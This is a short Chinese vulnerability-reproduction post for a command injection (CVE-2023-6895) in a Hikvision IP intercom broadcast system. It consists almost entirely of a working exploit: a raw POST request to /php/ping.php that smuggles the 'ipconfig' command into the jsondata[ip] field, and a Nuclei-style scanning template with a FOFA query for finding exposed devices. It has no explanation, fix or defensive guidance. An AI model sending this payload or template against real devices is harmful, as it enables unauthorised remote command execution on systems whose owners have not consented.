【漏洞复现】海康威视IP网络对讲广播系统存在命令注入漏洞

POST /php/ping.php HTTP/1.1Host: xxxAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.139 Safari/537.36X-Requested-With: XMLHttpRequestAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 38 jsondata[type]=night&jsondata[ip]=ipconfig

id: cve-2023-6895-Hikvision-spon-rce  info:  name: CVE-2023-6895-海康威视对讲广播系统远程命令执行漏洞  author: YGnight  severity: high  description: description  reference:    - https://  metadata:    verified: true    max-request: 1    fofa-query:  icon_hash="-1830859634"  tags: Hikvision,rce,high requests:  - raw:      - |-        POST /php/ping.php HTTP/1.1        Host: {{Hostname}}        Accept: */*        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.139 Safari/537.36        X-Requested-With: XMLHttpRequest        Accept-Encoding: gzip, deflate, br        Accept-Language: zh-CN,zh;q=0.9        Connection: keep-alive        Content-Type: application/x-www-form-urlencoded        Content-Length: 38         jsondata[type]=night&jsondata[ip]=ipconfig     matchers-condition: and    matchers:      - type: status        status:          - 200      - type: word        words:          - 'IPv4'